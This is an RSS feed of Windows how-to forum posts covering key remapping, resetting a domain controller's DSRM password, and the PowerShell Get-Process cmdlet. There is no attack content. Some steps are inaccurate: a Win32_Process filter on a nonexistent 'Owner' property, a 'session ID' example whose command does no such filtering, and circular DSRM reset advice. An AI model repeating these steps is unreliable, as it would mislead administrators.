<?xml version="1.0" encoding="UTF-8"?>        <rss version="2.0"
             xmlns:atom="http://www.w3.org/2005/Atom"
             xmlns:dc="http://purl.org/dc/elements/1.1/"
             xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
             xmlns:admin="http://webns.net/mvcb/"
             xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
             xmlns:content="http://purl.org/rss/1.0/modules/content/">
        <channel>
            <title>
									Windows OS - Hack The Forum				            </title>
            <link>https://www.hacktheforum.com/windows-os/</link>
            <description>Hack The Forum Discussion Board</description>
            <language>en</language>
            <lastBuildDate>Thu, 16 Apr 2026 08:34:23 +0000</lastBuildDate>
            <generator>wpForo</generator>
            <ttl>60</ttl>
							                    <item>
                        <title>How to Remap Any Key or Shortcut on Windows 11 Using the Windows Registry Editor</title>
                        <link>https://www.hacktheforum.com/windows-os/how-to-remap-any-key-or-shortcut-on-windows-11-using-the-windows-registry-editor/</link>
                        <pubDate>Sat, 15 Mar 2025 15:38:05 +0000</pubDate>
                        <description><![CDATA[If you’re comfortable with editing the registry, you can manually remap keys through the Windows Registry Editor. This is more technical and not recommended unless you know what you&#039;re doing...]]></description>
                        <content:encoded><![CDATA[<p data-start="2676" data-end="2918">If you’re comfortable with editing the registry, you can manually remap keys through the Windows Registry Editor. This is more technical and not recommended unless you know what you're doing, as incorrect changes can cause system instability.</p>
<h4 data-start="2920" data-end="2964">Steps to remap keys using the registry:</h4>
<ol data-start="2965" data-end="3678">
<li data-start="2965" data-end="3048">
<p data-start="2968" data-end="2993"><strong data-start="2968" data-end="2993">Open Registry Editor:</strong></p>
<ul data-start="2997" data-end="3048">
<li data-start="2997" data-end="3048">Press <code data-start="3005" data-end="3014">Win + R</code>, type <code data-start="3021" data-end="3030">regedit</code>, and press Enter.</li>
</ul>
</li>
<li data-start="3050" data-end="3179">
<p data-start="3053" data-end="3093"><strong data-start="3053" data-end="3093">Navigate to the Key Mapping Section:</strong></p>
<ul data-start="3097" data-end="3179">
<li data-start="3097" data-end="3175">Go to: <code data-start="3106" data-end="3175">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout</code></li>
</ul>
</li>
<li data-start="3180" data-end="3410">
<p data-start="3183" data-end="3208"><strong data-start="3183" data-end="3208">Create a New Mapping:</strong></p>
<ul data-start="3212" data-end="3410">
<li data-start="3212" data-end="3303">Right-click on the right side, select <strong data-start="3252" data-end="3274">New &gt; Binary Value</strong>, and name it <code data-start="3288" data-end="3302">Scancode Map</code>.</li>
<li data-start="3307" data-end="3410">This will allow you to remap keys by entering their scan codes (unique numerical codes for each key).</li>
</ul>
</li>
<li data-start="3412" data-end="3575">
<p data-start="3415" data-end="3438"><strong data-start="3415" data-end="3438">Enter Key Mappings:</strong></p>
<ul data-start="3442" data-end="3575">
<li data-start="3442" data-end="3575">You’ll need to manually input the scan codes for the keys you want to remap, which requires understanding their hexadecimal values.</li>
</ul>
</li>
<li data-start="3577" data-end="3678">
<p data-start="3580" data-end="3600"><strong data-start="3580" data-end="3600">Restart Your PC:</strong></p>
<ul data-start="3604" data-end="3678">
<li data-start="3604" data-end="3678">After making the changes, restart your computer for them to take effect.</li>
</ul>
</li>
</ol>]]></content:encoded>
						                            <category domain="https://www.hacktheforum.com/windows-os/">Windows OS</category>                        <dc:creator>kajal</dc:creator>
                        <guid isPermaLink="true">https://www.hacktheforum.com/windows-os/how-to-remap-any-key-or-shortcut-on-windows-11-using-the-windows-registry-editor/</guid>
                    </item>
				                    <item>
                        <title>How to Remap Any Key or Shortcut on Windows 11</title>
                        <link>https://www.hacktheforum.com/windows-os/how-to-remap-any-key-or-shortcut-on-windows-11/</link>
                        <pubDate>Sat, 15 Mar 2025 15:36:52 +0000</pubDate>
                        <description><![CDATA[To remap any key or shortcut on Windows 11, you can use either the built-in Windows tools or third-party software. Here are two common methods:
1. Using PowerToys (Free, Microsoft Tool)
Mi...]]></description>
                        <content:encoded><![CDATA[<p data-start="0" data-end="143">To remap any key or shortcut on Windows 11, you can use either the built-in Windows tools or third-party software. Here are two common methods:</p>
<h3 data-start="145" data-end="194">1. <strong data-start="152" data-end="194">Using PowerToys (Free, Microsoft Tool)</strong></h3>
<p data-start="196" data-end="397"><strong data-start="196" data-end="219">Microsoft PowerToys</strong> is a free tool that offers many utilities for customizing and enhancing Windows. It includes a feature called <strong data-start="330" data-end="350">Keyboard Manager</strong>, which allows you to remap keys and shortcuts.</p>
<h4 data-start="399" data-end="439">Steps to remap keys with PowerToys:</h4>
<ol data-start="440" data-end="1573">
<li data-start="440" data-end="673">
<p data-start="443" data-end="478"><strong data-start="443" data-end="478">Download and Install PowerToys:</strong></p>
<ul data-start="482" data-end="673">
<li data-start="482" data-end="669">Visit <a href="https://github.com/microsoft/PowerToys/releases" target="_new" rel="noopener" data-start="490" data-end="562">PowerToys GitHub page</a> or download it from the <a href="https://apps.microsoft.com/store/detail/powertoys/9NTXR16HNW1T" target="_new" rel="noopener" data-start="587" data-end="668">Microsoft Store</a>.</li>
</ul>
</li>
<li data-start="674" data-end="777">
<p data-start="677" data-end="696"><strong data-start="677" data-end="696">Open PowerToys:</strong></p>
<ul data-start="700" data-end="777">
<li data-start="700" data-end="777">After installation, search for <strong data-start="733" data-end="746">PowerToys</strong> in the Start menu and open it.</li>
</ul>
</li>
<li data-start="779" data-end="909">
<p data-start="782" data-end="819"><strong data-start="782" data-end="819">Navigate to the Keyboard Manager:</strong></p>
<ul data-start="823" data-end="909">
<li data-start="823" data-end="909">In the PowerToys settings window, select <strong data-start="866" data-end="886">Keyboard Manager</strong> from the left sidebar.</li>
</ul>
</li>
<li data-start="911" data-end="1072">
<p data-start="914" data-end="930"><strong data-start="914" data-end="930">Remap a Key:</strong></p>
<ul data-start="934" data-end="1072">
<li data-start="934" data-end="994">Click <strong data-start="942" data-end="957">Remap a key</strong> under the <strong data-start="968" data-end="985">Key Remapping</strong> section.</li>
<li data-start="998" data-end="1072">In the Key Remap window, click the <strong data-start="1035" data-end="1040">+</strong> (plus) sign to add a new remap.</li>
</ul>
</li>
<li data-start="1074" data-end="1265">
<p data-start="1077" data-end="1105"><strong data-start="1077" data-end="1105">Choose the Key to Remap:</strong></p>
<ul data-start="1109" data-end="1265">
<li data-start="1109" data-end="1176">In the <strong data-start="1118" data-end="1134">Physical Key</strong> column, click the key you want to change.</li>
<li data-start="1180" data-end="1261">In the <strong data-start="1189" data-end="1202">Mapped To</strong> column, select the key or shortcut you want it to perform.</li>
</ul>
</li>
<li data-start="1266" data-end="1408">
<p data-start="1269" data-end="1288"><strong data-start="1269" data-end="1288">Save the Remap:</strong></p>
<ul data-start="1292" data-end="1408">
<li data-start="1292" data-end="1377">Once you’ve selected the desired key and action, click <strong data-start="1349" data-end="1355">OK</strong> to apply the changes.</li>
<li data-start="1381" data-end="1408">Your remap is now active.</li>
</ul>
</li>
<li data-start="1410" data-end="1573">
<p data-start="1413" data-end="1436"><strong data-start="1413" data-end="1436">Shortcut Remapping:</strong></p>
<ul data-start="1440" data-end="1573">
<li data-start="1440" data-end="1573">To remap a shortcut (e.g., <strong data-start="1469" data-end="1481">Ctrl + C</strong> to something else), follow similar steps in the <strong data-start="1530" data-end="1542">Shortcut</strong> section of the remapping tool.</li>
</ul>
</li>
</ol>]]></content:encoded>
						                            <category domain="https://www.hacktheforum.com/windows-os/">Windows OS</category>                        <dc:creator>kajal</dc:creator>
                        <guid isPermaLink="true">https://www.hacktheforum.com/windows-os/how-to-remap-any-key-or-shortcut-on-windows-11/</guid>
                    </item>
				                    <item>
                        <title>How to recover DSRM password</title>
                        <link>https://www.hacktheforum.com/windows-os/how-to-recover-dsrm-password/</link>
                        <pubDate>Mon, 10 Mar 2025 10:17:50 +0000</pubDate>
                        <description><![CDATA[If you&#039;ve lost the DSRM (Directory Services Restore Mode) password for your Windows Server, there are a few ways to reset it. Here&#039;s a guide on how to recover or reset the DSRM password:
Op...]]></description>
                        <content:encoded><![CDATA[<p data-start="0" data-end="190">If you've lost the <strong data-start="19" data-end="61">DSRM (Directory Services Restore Mode)</strong> password for your Windows Server, there are a few ways to reset it. Here's a guide on how to recover or reset the DSRM password:</p>
<h3 data-start="192" data-end="244">Option 1: Reset DSRM Password Using <strong data-start="232" data-end="244">NTDSUtil</strong></h3>
<p data-start="245" data-end="330">You can reset the DSRM password using the <strong data-start="287" data-end="299">NTDSUtil</strong> command-line tool. Here's how:</p>
<h4 data-start="332" data-end="343">Steps:</h4>
<ol data-start="344" data-end="1524">
<li data-start="344" data-end="589">
<p data-start="347" data-end="393"><strong data-start="347" data-end="392">Boot into Directory Services Restore Mode</strong>:</p>
<ul data-start="397" data-end="589">
<li data-start="397" data-end="419">Restart your server.</li>
<li data-start="423" data-end="500">Press <strong data-start="431" data-end="437">F8</strong> while the server is booting (before the Windows logo appears).</li>
<li data-start="504" data-end="585">Select <strong data-start="513" data-end="548">Directory Services Restore Mode</strong> from the Advanced Boot Options menu.</li>
</ul>
</li>
<li data-start="590" data-end="815">
<p data-start="593" data-end="616"><strong data-start="593" data-end="615">Log in to the DSRM</strong>:</p>
<ul data-start="620" data-end="815">
<li data-start="620" data-end="701">Log in using the DSRM username (which is typically <code data-start="673" data-end="688">Administrator</code> by default).</li>
<li data-start="705" data-end="815">Enter the <strong data-start="717" data-end="724">old</strong> DSRM password (if you remember it), or just leave it blank if you don't know the password.</li>
</ul>
</li>
<li data-start="817" data-end="999">
<p data-start="820" data-end="844"><strong data-start="820" data-end="843">Open Command Prompt</strong>:</p>
<ul data-start="848" data-end="999">
<li data-start="848" data-end="999">Once you are logged in, open the <strong data-start="883" data-end="901">Command Prompt</strong> by typing <code data-start="912" data-end="917">cmd</code> in the Start menu or pressing <strong data-start="948" data-end="961">Windows+R</strong>, typing <code data-start="970" data-end="975">cmd</code>, and hitting <strong data-start="989" data-end="998">Enter</strong>.</li>
</ul>
</li>
<li data-start="1001" data-end="1341">
<p data-start="1004" data-end="1021"><strong data-start="1004" data-end="1020">Run NTDSUtil</strong>:</p>
<ul data-start="1025" data-end="1341">
<li data-start="1025" data-end="1128">In the Command Prompt, type the following to launch <strong data-start="1079" data-end="1091">NTDSUtil</strong>:
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t- h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">ntdsutil</pre>
</div>
</div>
</li>
<li data-start="1132" data-end="1247">Once in the NTDSUtil tool, type the following to reset the password:
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t- h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">set DSRM password</pre>
</div>
</div>
</li>
<li data-start="1251" data-end="1341">You will be prompted to enter a new password for the DSRM. Enter a new, strong password.</li>
</ul>
</li>
<li data-start="1343" data-end="1412">
<p data-start="1346" data-end="1364"><strong data-start="1346" data-end="1363">Exit NTDSUtil</strong>:</p>
<ul data-start="1368" data-end="1412">
<li data-start="1368" data-end="1408">Type <code data-start="1375" data-end="1381">quit</code> to exit the NTDSUtil tool.</li>
</ul>
</li>
<li data-start="1413" data-end="1524">
<p data-start="1416" data-end="1427"><strong data-start="1416" data-end="1426">Reboot</strong>:</p>
<ul data-start="1431" data-end="1524">
<li data-start="1431" data-end="1524">Restart the server, and then you should be able to log in with the newly set DSRM password.</li>
</ul>
</li>
</ol>
<hr data-start="1526" data-end="1529" />
<h3 data-start="1531" data-end="1590">Option 2: Use <strong data-start="1549" data-end="1590">Offline NT Password &amp; Registry Editor</strong></h3>
<p data-start="1591" data-end="1765">If you're unable to access the DSRM password via the NTDSUtil method, you can use third-party tools like <strong data-start="1696" data-end="1737">Offline NT Password &amp; Registry Editor</strong> to reset the DSRM password.</p>
<h4 data-start="1767" data-end="1778">Steps:</h4>
<ol data-start="1779" data-end="2349">
<li data-start="1779" data-end="1962">
<p data-start="1782" data-end="1827"><strong data-start="1782" data-end="1826">Download and Create a Bootable USB or CD</strong>:</p>
<ul data-start="1831" data-end="1962">
<li data-start="1831" data-end="1914">Download the <strong data-start="1846" data-end="1887">Offline NT Password &amp; Registry Editor</strong> from its official website.</li>
<li data-start="1918" data-end="1962">Create a bootable USB or CD with the tool.</li>
</ul>
</li>
<li data-start="1964" data-end="2101">
<p data-start="1967" data-end="1999"><strong data-start="1967" data-end="1998">Boot the Server from USB/CD</strong>:</p>
<ul data-start="2003" data-end="2101">
<li data-start="2003" data-end="2047">Insert the bootable media into the server.</li>
<li data-start="2051" data-end="2097">Restart the server and boot from the USB/CD.</li>
</ul>
</li>
<li data-start="2102" data-end="2233">
<p data-start="2105" data-end="2133"><strong data-start="2105" data-end="2132">Reset the DSRM Password</strong>:</p>
<ul data-start="2137" data-end="2233">
<li data-start="2137" data-end="2233">Follow the prompts in the tool to select the Windows installation and reset the DSRM password.</li>
</ul>
</li>
<li data-start="2235" data-end="2349">
<p data-start="2238" data-end="2249"><strong data-start="2238" data-end="2248">Reboot</strong>:</p>
<ul data-start="2253" data-end="2349">
<li data-start="2253" data-end="2349">Once the password reset is complete, reboot your server and log in with the new DSRM password.</li>
</ul>
</li>
</ol>
<hr data-start="2351" data-end="2354" />
<h3 data-start="2356" data-end="2415">Option 3: Use <strong data-start="2374" data-end="2399">Windows Server Backup</strong> (if applicable)</h3>
<p data-start="2416" data-end="2523">If you're using a backup solution, you can restore the server to a point before the DSRM password was lost.</p>
<ol data-start="2525" data-end="2692">
<li data-start="2525" data-end="2607">Boot the server using <strong data-start="2550" data-end="2575">Windows Server Backup</strong> or the system recovery options.</li>
<li data-start="2608" data-end="2692">Perform a system restore to a backup taken when you still knew the DSRM password.</li>
</ol>
<hr data-start="2694" data-end="2697" />
<h3 data-start="2699" data-end="2753">Option 4: Reinstall Active Directory (Last Resort)</h3>
<p data-start="2754" data-end="2905">If none of the above options work and you are still unable to reset the DSRM password, you may need to <strong data-start="2857" data-end="2904">demote and re-promote the domain controller</strong>:</p>
<ol data-start="2907" data-end="3089">
<li data-start="2907" data-end="3021">Demote the domain controller using the <strong data-start="2949" data-end="2967">Server Manager</strong> or <strong data-start="2971" data-end="2985">PowerShell</strong> (<code data-start="2987" data-end="3019">Uninstall-ADDSDomainController</code>).</li>
<li data-start="3022" data-end="3089">Reinstall the Active Directory role and reconfigure your server.</li>
</ol>]]></content:encoded>
						                            <category domain="https://www.hacktheforum.com/windows-os/">Windows OS</category>                        <dc:creator>kajal</dc:creator>
                        <guid isPermaLink="true">https://www.hacktheforum.com/windows-os/how-to-recover-dsrm-password/</guid>
                    </item>
				                    <item>
                        <title>DSRM password</title>
                        <link>https://www.hacktheforum.com/windows-os/dsrm-password/</link>
                        <pubDate>Mon, 10 Mar 2025 10:16:01 +0000</pubDate>
                        <description><![CDATA[The DSRM password is a special password used to log in to a server in Directory Services Restore Mode. This mode is typically used when performing recovery tasks for Active Directory, such a...]]></description>
                        <content:encoded><![CDATA[<p data-start="148" data-end="401">The <strong data-start="152" data-end="169">DSRM password</strong> is a special password used to log in to a server in <strong data-start="222" data-end="257">Directory Services Restore Mode</strong>. This mode is typically used when performing recovery tasks for Active Directory, such as restoring or repairing the Active Directory database.</p>
<p data-start="403" data-end="461">Here’s some important information about the DSRM password:</p>
<ol data-start="463" data-end="1584">
<li data-start="463" data-end="740">
<p data-start="466" data-end="740"><strong data-start="466" data-end="477">Purpose</strong>: The DSRM password is set during the installation of the Active Directory Domain Services (AD DS) role. It's used to log into a server when it's started in <strong data-start="634" data-end="642">DSRM</strong>, which is a safe mode designed to allow you to perform directory-related repairs and maintenance.</p>
</li>
<li data-start="742" data-end="980">
<p data-start="745" data-end="980"><strong data-start="745" data-end="763">Accessing DSRM</strong>: To access the DSRM, you must boot the server into this special mode, usually by pressing F8 during boot and selecting "Directory Services Restore Mode" from the boot options. You then log in using the DSRM password.</p>
</li>
<li data-start="982" data-end="1371">
<p data-start="985" data-end="1206"><strong data-start="985" data-end="1015">Default or Custom Password</strong>: During the setup of Active Directory, you set a DSRM password, which is <strong data-start="1089" data-end="1133">different from the domain admin password</strong>. If you forget it, you can reset the password using the following steps:</p>
<ul data-start="1210" data-end="1371">
<li data-start="1210" data-end="1269">Boot the server into <strong data-start="1233" data-end="1268">Directory Services Restore Mode</strong>.</li>
<li data-start="1273" data-end="1306">Log in using the DSRM password.</li>
<li data-start="1310" data-end="1371">Use <strong data-start="1316" data-end="1328">NTDSUtil</strong> or other tools to reset the DSRM password.</li>
</ul>
</li>
<li data-start="1373" data-end="1584">
<p data-start="1376" data-end="1584"><strong data-start="1376" data-end="1389">Important</strong>: The DSRM password should be securely stored since it’s vital for system recovery. It's not the same as the domain admin password but is often set to the same value for convenience during setup.</p>
</li>
</ol>]]></content:encoded>
						                            <category domain="https://www.hacktheforum.com/windows-os/">Windows OS</category>                        <dc:creator>kajal</dc:creator>
                        <guid isPermaLink="true">https://www.hacktheforum.com/windows-os/dsrm-password/</guid>
                    </item>
				                    <item>
                        <title>Get-Process command in PowerShell</title>
                        <link>https://www.hacktheforum.com/windows-os/get-process-command-in-powershell/</link>
                        <pubDate>Thu, 12 Dec 2024 19:47:07 +0000</pubDate>
                        <description><![CDATA[The Get-Process cmdlet in PowerShell is used to retrieve information about the processes that are running on a local or remote computer. This cmdlet provides details such as the process name...]]></description>
                        <content:encoded><![CDATA[<div class="flex-1 overflow-hidden @container/thread">
<div class="h-full">
<div class="react-scroll-to-bottom--css-orznh-79elbk h-full">
<div class="react-scroll-to-bottom--css-orznh-1n7m0yu">
<div class="flex flex-col text-sm md:pb-9">
<article class="w-full scroll-mb- text-token-text-primary focus-visible:outline-2 focus-visible:outline-offset-" dir="auto" data-testid="conversation-turn-17" data-scroll-anchor="true">
<div class="m-auto text-base py- px-3 md:px-4 w-full md:px-5 lg:px-4 xl:px-5">
<div class="mx-auto flex flex-1 gap-4 text-base md:gap-5 lg:gap-6 md:max-w-3xl">
<div class="group/conversation-turn relative flex w-full min-w-0 flex-col agent-turn">
<div class="flex-col gap-1 md:gap-3">
<div class="flex max-w-full flex-col flex-grow">
<div class="min-h-8 text-message flex w-full flex-col items-end gap-2 whitespace-normal break-words text-start :mt-5" dir="auto" data-message-author-role="assistant" data-message-id="b47df5cd-3dd4-4558-ad2c-70b913ff9f58" data-message-model-slug="gpt-4o-mini">
<div class="flex w-full flex-col gap-1 empty:hidden first:pt-">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>The <code>Get-Process</code> cmdlet in PowerShell is used to retrieve information about the processes that are running on a local or remote computer. This cmdlet provides details such as the process name, process ID, memory usage, CPU time, and more. You can use it to monitor system performance, troubleshoot issues, or collect data for system administration tasks.</p>
<h3>Basic Syntax:</h3>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process
</pre>
</div>
</div>
<h3>Example 1: List All Running Processes</h3>
<p>Running <code>Get-Process</code> without any parameters will list all the processes currently running on your local machine.</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process
</pre>
</div>
</div>
<p>This will output a list of processes, showing the <strong>Name</strong>, <strong>ID</strong>, <strong>Handles</strong>, <strong>NPM (Non-paged memory)</strong>, <strong>PM (Paged memory)</strong>, <strong>WS (Working set)</strong>, and <strong>CPU</strong> time, among other details.</p>
<h3>Example 2: Get Specific Process by Name</h3>
<p>You can filter processes by their <strong>name</strong>. For example, to get all processes related to <strong>"chrome"</strong> (Google Chrome):</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process -Name chrome
</pre>
</div>
</div>
<p>This will list all running <strong>chrome</strong> processes.</p>
<h3>Example 3: Get Process by Process ID (PID)</h3>
<p>You can retrieve a process using its <strong>PID</strong> (Process ID). For instance, to get the process with PID 1234:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process -Id 1234
</pre>
</div>
</div>
<p>This will return information about the process with the specified PID.</p>
<h3>Example 4: Get Multiple Processes by Name</h3>
<p>You can also specify multiple processes by separating their names with commas. For example:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process -Name chrome, firefox, explorer
</pre>
</div>
</div>
<p>This will return information about processes related to <strong>chrome</strong>, <strong>firefox</strong>, and <strong>explorer</strong>.</p>
<h3>Example 5: Display Specific Properties of Processes</h3>
<p>You can select specific properties of the processes to make the output more readable. For example, to display the <strong>Name</strong>, <strong>ID</strong>, <strong>CPU time</strong>, and <strong>Memory</strong> of each process:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process | Select-Object Name, Id, CPU, WorkingSet
</pre>
</div>
</div>
<p>This will show a simplified output with just the <strong>Name</strong>, <strong>ID</strong>, <strong>CPU</strong>, and <strong>WorkingSet</strong> (memory usage) of each process.</p>
<h3>Example 6: Sort Processes by Memory Usage</h3>
<p>To sort the processes by memory usage (working set), use the following command:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process | Sort-Object WorkingSet -Descending
</pre>
</div>
</div>
<p>This will list the processes, sorted by memory usage in descending order.</p>
<h3>Example 7: Get Process on a Remote Machine</h3>
<p>If you want to get processes from a remote machine, use the <code>-ComputerName</code> parameter. For example:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process -ComputerName "RemotePCName"
</pre>
</div>
</div>
<p>This command retrieves the processes from the remote computer specified by <strong>RemotePCName</strong>.</p>
<h3>Example 8: Limit the Output to Top N Processes</h3>
<p>To limit the number of processes returned, you can use <code>Select-Object</code> to return only the top N processes. For example, to get the top 5 processes by CPU usage:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process | Sort-Object CPU -Descending | Select-Object -First 5
</pre>
</div>
</div>
<p>This will show the top 5 processes sorted by their CPU usage in descending order.</p>
<h3>Example 9: Get Process for Specific User</h3>
<p>To retrieve processes run by a specific user, you can use the <code>Get-WmiObject</code> cmdlet along with <code>Get-Process</code>. Here's an example:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-WmiObject -Class Win32_Process | Where-Object { $_.Owner -eq "username" }
</pre>
</div>
</div>
<p>Replace <strong>"username"</strong> with the actual username. This command fetches processes based on the specified user.</p>
<h3>Example 10: Display Processes with Memory and CPU Usage</h3>
<p>To display detailed information on processes, including their memory and CPU usage, you can run:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process | Select-Object Name, Id, CPU, WorkingSet, PrivateMemorySize
</pre>
</div>
</div>
<p>This shows the <strong>Name</strong>, <strong>Id</strong>, <strong>CPU time</strong>, <strong>WorkingSet</strong> (memory), and <strong>PrivateMemorySize</strong> (private memory allocated to the process).</p>
<h3>Example 11: Killing a Process</h3>
<p>If you want to stop a process, you can use the <code>Stop-Process</code> cmdlet. For example, to kill a process by name (e.g., <strong>notepad</strong>):</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Stop-Process -Name notepad
</pre>
</div>
</div>
<p>Or, if you know the <strong>PID</strong>:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Stop-Process -Id 1234
</pre>
</div>
</div>
<h3>Example 12: Getting Process in a Specific Session</h3>
<p>You can filter processes by their session ID. For example:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process | Format-Table -Property Name, Id, CPU, WorkingSet
</pre>
</div>
</div>
<p>This will return processes running under session ID 1.</p>
<h3>Example 13: Displaying Processes in a Specific Format (Table, List, or Grid)</h3>
<p>You can display the output in different formats, such as <strong>table</strong>, <strong>list</strong>, or <strong>grid</strong>. For example:</p>
<ul>
<li>
<p><strong>Table</strong> format (default):</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process | Format-Table -Property Name, Id, CPU, WorkingSet
</pre>
</div>
</div>
</li>
<li>
<p><strong>List</strong> format (for detailed info):</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process | Format-List -Property Name, Id, CPU, WorkingSet
</pre>
</div>
</div>
</li>
<li>
<p><strong>Grid</strong> format (for a more interactive view):</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process | Out-GridView
</pre>
</div>
</div>
</li>
</ul>
<h3> </h3>
<p>The <code>Get-Process</code> cmdlet in PowerShell is a powerful tool for managing and monitoring processes on a local or remote computer. You can filter, sort, display, and even manipulate processes using various parameters and techniques, making it an essential cmdlet for system administrators and users performing troubleshooting or monitoring tasks.</p>
</div>
</div>
</div>
</div>
<div class="mb-2 flex gap-3 empty:hidden -ml-2">
<div class="items-center justify-start rounded-xl p-1 flex">
<div class="flex items-center"> </div>
</div>
</div>
<div class="pr-2 lg:pr-0"> </div>
<div class="mt-3 w-full empty:hidden">
<div class="text-center"> </div>
</div>
</div>
<div class="absolute">
<div class="flex items-center justify-center"> </div>
</div>
</div>
</div>
</div>
</article>
</div>
</div>
</div>
</div>
</div>
<div class="md:pt-0 dark:border-white/20 md:border-transparent md:dark:border-transparent w-full">
<div>
<div class="m-auto text-base px-3 md:px-4 w-full md:px-5 lg:px-4 xl:px-5">
<div class="mx-auto flex flex-1 gap-4 text-base md:gap-5 lg:gap-6 md:max-w-3xl">
<div class="flex justify-center"> </div>
</div>
</div>
</div>
</div>]]></content:encoded>
						                            <category domain="https://www.hacktheforum.com/windows-os/">Windows OS</category>                        <dc:creator>kajal</dc:creator>
